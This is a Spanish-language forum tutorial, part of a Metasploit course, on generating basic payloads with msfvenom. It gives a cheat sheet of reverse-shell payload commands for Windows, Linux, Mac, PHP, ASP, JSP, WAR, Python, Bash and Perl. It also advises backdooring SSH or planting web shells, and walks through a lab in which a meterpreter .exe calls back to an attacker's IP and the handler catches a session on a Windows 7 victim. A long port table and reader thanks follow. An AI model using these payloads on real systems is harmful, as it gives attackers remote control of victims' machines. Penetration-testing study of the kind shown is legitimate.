Curso Metasploit - Part. 5.1 – Gerenando un paylodad basico

Iniciado por puntoCL, Mayo 03, 2018, 03:03:36 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mayo 03, 2018, 03:03:36 AM Ultima modificación: Enero 28, 2019, 11:18:47 PM por puntoCL





Ahora vamos a crear un simple paylodad con msfvenom con extensión .exe




MSFVENOM: Es un generador de paylodad independiente de metasploit. Esta herramienta es una combinación de msfpayload y msfencode utilizar ambas herramientas en una única instancia. Msfvenom reemplazo tanto msfpayload como msfencode a partir del 8 de junio del 2015.

Si quieres saber un poco más de msfvenom vea el post anterior
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Se han preguntado que es reverse y que es bind.

Reverse shell: O shell inverso en español es un tipo de shell en que el equipo víctima se comunica de vuelta con la maquina atacante. La máquina atacante tiene un puerto de escucha en el que recibe la conexión.

bind shell: Tipo de shell en el que la máquina de destino abre un puerto de comunicación o un oyente en la máquina víctima y espera una conexión entrante. Luego, el atacante se conecta al oyente de la máquina víctima, que luego lleva a la ejecución de código o comando en el servidor.





CUANDO USAR UNA REVERSE SHELL??

Si te encuentras en uno de los siguientes escenarios no limitado, entonces deberías considerar usar un shell inverso


  • la máquina de la víctima esta detrás de una red privada diferente.
  • El firewall de la máquina objetivo bloquea los intentos de conexión entrante a su bindshell.
  • tu payload no puede unirse al puerto que deseas debido a cualquier razón.
  • Simplemente no puede decidir que elegir.

Cuando una shell inverso no es necesario

Si puede hacer un backdoor de un servicio existente, es posible que no necesite una shell inverso. Por ejemplo: si la máquina de destino ya está ejecutando un servicio SSH, puede intentar agregarle un nuevo usuario y usarlo.

Si la máquina de destino es un servidor web que admite un lenguaje de programación del lado del servidor, entonces puede dejar una puerta trasera en ese lenguaje. Por ejemplo, muchos servidores Apache soportan PHP, luego puede usar un "shell web" de PHP. Los servidores IIS suelen ser compatibles con ASP o No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. El Metasploit ofrece cargas útiles en todos estos lenguajes.

Lenguajes para crear paylodad necesario


Binarios

Linux
Código: php
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f elf > shell.elf


Windows
Código: php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f exe > shell.exe


Mac
Código: php
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f macho > shell.macho



Web Payloads

PHP
Código: php
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php


ASP
Código: php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f asp > shell.asp


JSP
Código: php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f raw > shell.jsp


WAR
Código: php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f war > shell.war



Scripting Payloads

Python
Código: php
msfvenom -p cmd/unix/reverse_python LHOST=<Tu IP> LPORT=<Tu puerto> -f raw > shell.py


Bash
Código: php
msfvenom -p cmd/unix/reverse_bash LHOST=<Tu IP> LPORT=<Tu puerto> -f raw > shell.sh


Perl
Código: php
msfvenom -p cmd/unix/reverse_perl LHOST=<Tu IP> LPORT=<Tu puerto> -f raw > shell.pl



Shellcode

Para todos los shellcode, consulte 'msfvenom -help-formats' para obtener información sobre los parámetros válidos. Msfvenom dará salida al código que se puede cortar y pegar en este lenguaje para sus exploits.

Linux Based Shellcode
Código: php
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f <lenguaje>


Windows Based Shellcode
Código: php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f <lenguaje>


Mac Based Shellcode
Código: php
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Tu IP> LPORT=<Tu puerto> -f <lenguaje>



Handlers
Código: php
use exploit/multi/handler
set PAYLOAD <Nombre del payload que ocupamos al general con el msfvenom>
set LHOST <Nuestra IP>
set LPORT <El puerto que seteamos>
exploit


Mas adelante lo veremos con mas detalles.




Como configurar una shell inverso durante la generación de un paylodad, Cuando generamos una shell inverso con msfvenom debemos saber las siguientes opciones importante. LHOST y LPORT.

LHOST - Esta es la dirección IP a la que desea que se conecte nuestra máquina de destino, En otra palabra nuestra dirección IP, recuerden que la víctima se tiene que conectar hacia nosotros.

LPORT - Este es el puerto al que se conectara la máquina de destino. Acá podemos poner cualquier puerto ojo que no se esté ocupando, para saber eso ocupe NMAP lo más común del puerto que se ocupa son como 443, 444, 445 como ejemplo.

Un puerto es un punto final a una conexión lógica y el medio por el que un programa cliente se comunica con un programa específico en una computadora en una red digamos que estas en una habitación lleno de puertas enumerado del 0 al 65536 y que cada puerta tiene un servicio único que como el puerto 80 que es web y si nosotros que LPORT ponemos 80 va a ver conflicto por que el 80 ya está ocupado. existen puertos ya asignado como la siguiente lista:

Puerto   Descripción
1   TCP Port Service Multiplexer (TCPMUX)
5   Remote Job Entry (RJE)
7   Protocolo Echo (Responde con eco a llamadas remotas)
9   Protocolo Discard (Elimina cualquier dato que recibe)
13   Daytime (Fecha y hora actuales)
17   Quote of the Day (Cita del Día)
18   Message Send Protocol (MSP)
19   Protocolo Chargen, Generador de caractéres
20   FTP — Datos
21   FTP — Control
22   SSH, scp, SFTP – Remote Login Protocol
23   Telnet
25   Simple Mail Transfer Protocol (SMTP)
29   MSG ICP
37   Time
42   Host Name Server (Nameserv)
43   WhoIs
49   Login Host Protocol (Login)
53   Domain Name System (DNS)
66   Oracle SQLNet
67   BOOTP (BootStrap Protocol) (Server), también usado por DHCP
68   BOOTP (BootStrap Protocol) (Client), también usado por DHCP
69   Trivial File Transfer Protocol (TFTP)
70   Gopher Services
79   Finger
80   HTTP
88   Agente de autenticación Kerberos
103   X.400 Standard
107   Remote Telnet Service
108   SNA Gateway Access Server
109   POP2
110   POP3
115   Simple File Transfer Protocol (SFTP)
118   SQL Services
119   Newsgroup (NNTP)
123   NTP
137   NetBIOS Name Service
138   NetBIOS Datagram Service
139   NetBIOS Session Service
143   Internet Message Access Protocol (IMAP)
156   SQL Server
161   SNMP
162   SNMP-trap
177   XDMCP (Protocolo de gestión de displays en X11)
179   Border Gateway Protocol (BGP)
190   Gateway Access Control Protocol (GACP)
194   Internet Relay Chat (IRC)
197   Directory Location Service (DLS)
209   Quick Mail Protocol
217   dBASE Unix
389   Lightweight Directory Access Protocol (LDAP)
396   Novell Netware over IP
443   HTTPS
444   Simple Network Paging Protocol (SNPP)
445   Microsoft-DS (Active Directory, compartición en Windows, gusano Sasser, Agobot)
458   Apple QuickTime
500   IPSec ISAKMP, Autoridad de Seguridad Local
512   exec
513   login
514   syslog usado para logs del sistema
515   Printer
520   RIP
522   Netmeeting
531   Conference
546   DHCP Client
547   DHCP Server
563   SNEWS
569   MSN
631   CUPS: sistema de impresión de Unix
666   identificación de Doom para jugar sobre TCP
992   Telnet SSL
993   IMAP4 SSL
995   POP3 SSL
1080   Socks Proxy
1352   IBM Lotus Notes/Domino RCP
1433   Microsoft-SQL-Server
1434   Microsoft-SQL-Monitor
1494   Citrix MetaFrame Cliente ICA
1512   WINS
1521   Oracle listener
1701   Enrutamiento y Acceso Remoto para VPN con L2TP
1723   Enrutamiento y Acceso Remoto para VPN con PPTP
1761   Novell Zenworks Remote Control utility
1863   MSN Messenger
2049   NFS
2082   CPanel
2086   WHM (Web Host Manager)
2427   Cisco MGCP
3000   Calista IP phone (saliente)
3030   NetPanzer
3128   Squid Proxy
3306   MySQL
3389   Microsoft Terminal Server
3396   Novell agente de impresión NDPS
3690   SubVersion
4099   AIM Talk
4662   eMule
4672   eMule
4899   RAdmin
5000   UPNP (Universal plug-and-play)
5060   SIP (Session Initiation Protocol)
5190   Calista IP phone (entrante)
5222   XMPP/Jabber: conexión de cliente
5223   XMPP/Jabber: puerto por defecto para conexiones de cliente SSL
5269   XMPP/Jabber: conexión de servidor
5432   PostgreSQL
5500   VNC (Virtual Network Computing)
5517   Setiqueue proyecto SETI@Home
5631   pcAnyWhere (host)
5632   pcAnyWhere (host)
5400   VNC (Virtual Network Computing)
5500   VNC (Virtual Network Computing)
5600   VNC (Virtual Network Computing)
5700   VNC (Virtual Network Computing)
5800   VNC (Virtual Network Computing)
5900   VNC (Virtual Network Computing)
6000   X11 usado para X-windows
6112   Blizzard Entertainment
6129   Dameware: Software conexión remota
6346   Gnutella
6347   Gnutella
6348   Gnutella
6349   Gnutella
6350   Gnutella
6355   Gnutella
6667   IRC
6881   BitTorrent: puerto por defecto
6891-6900   MSN Messenger (archivos)
6901   MSN Messenger (voz)
6969   BitTorrent: puerto de tracker
7100   Servidor de Fuentes X11
8000   Shoutcast
8080   HTTP alternativo al puerto 80. También Tomcat default
8118   privoxy
8291   routers Microtik
9009   Pichat peer-to-peer chat server
9898   Dabber (troyano)
10000   Webmin (Administración remota web)
12345   Netbus (troyano)
19226   Puerto de comunicaciones de Panda Agent
20000-20019   ICQ
28800-29000   MSN Game Zone
31337   Back Orifice (troyanos)




Ahora vamos a la práctica. en una red LAN.

Maquina atacante:


  • OS: Kali Linux
  • IP: 192.168.0.103

Maquina Victima:


  • OS: Windows 7 - 64 Bits
  • IP: 192.168.0.101
  • No tiene Anti-Virus "Con fines de hacer prueba"
  • Firewall deshabitado "Con fines de hacer prueba"

Ahora vamos a crear el payload, como es contra una maquina Windows tenemos que crear una payload con una extensión exe, entonces escribimos en la consola lo siguiente.

Código: php
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Tu IP> LPORT=<Un puerto cualquiera> -f -o /root/paylodad.exe


en mi caso quedaría así

Código: php
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=4444 -f -o /root/payload.exe




al generar el payload se va a demorar un poco a sí que paciencia. cuando finalice podemos ver cuánto pesa el payload.


Opciones al momento de generar nuestro payload. Mas que nada un repaso.

-p | --payload: Se debe especificar el payload que se quiere utilizar, Para ver todos los payload que podemos crear escribimos en la consola msfvenom -l all



LHOST: Nuestra IP.

LPORT: El puerto que queremos que se conecte.

-f: es la extensión o formato en mi caso sería exe.

-o: Esta permite crear un archivo de salida más con el nosotros que deseamos crear nuestro payload.

Ahora una vez creado el paylodad tenemos que pasarlo a la maquina víctima. no ejecuten el payload todavía.

primero tenemos que ejecutar nuestro metasploit para ejecutar el módulo Handlers que nos permite es estar en modo escucha y listo a la espera cuando la maquina victima ejecute el payload.

Escribimos en la consola

Código: php
msfconsole


y nos dirigimos al módulo Handlers

Código: php
use exploit/multi/handler


Escribimos

Código: php
show options


Para ver las opciones del módulo.



En la imagen de abajo no se ve muy clara entonces escriban "info" sin las comillas dentro del módulo.



Ahora tenemos que setear el modulo.

Código: php
set PAYLOAD <Nombre del payload que creamos en msfvenom>

Código: php
set LHOST <Nuestra IP>

Código: php
set LPORT <El puerto que seteamos>


En mi caso quedara algo a así.

Código: php
set PAYLOAD windows/x64/meterpreter/reverse_tcp

Código: php
set LHOST 192.168.0.103

Código: php
set LPORT 4444


Escribimos

Código: php
show opciones


Para ver nuestra si está todo bien seteados



acá tiene dos opciones ejecutar el payload primero el exe o ejecución handler por mi parte voy a ejecutar el payload primero.





Ahora ejecutamos el handler. con el comando:

Código: php
exploit






Como pueden ver en la imagen conseguimos la shell y que nos abrió una sesión 1. y listo a si de simple.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Curso Metasploit - Part. 5.1 – Creando un paylodad basico







Muye buena explicacion y buen tutorial, gracias por compartir

#quebonito, bien documentado y ordenado.

Tendré en cuenta tu serie de Metasploit para leerlo luego. (: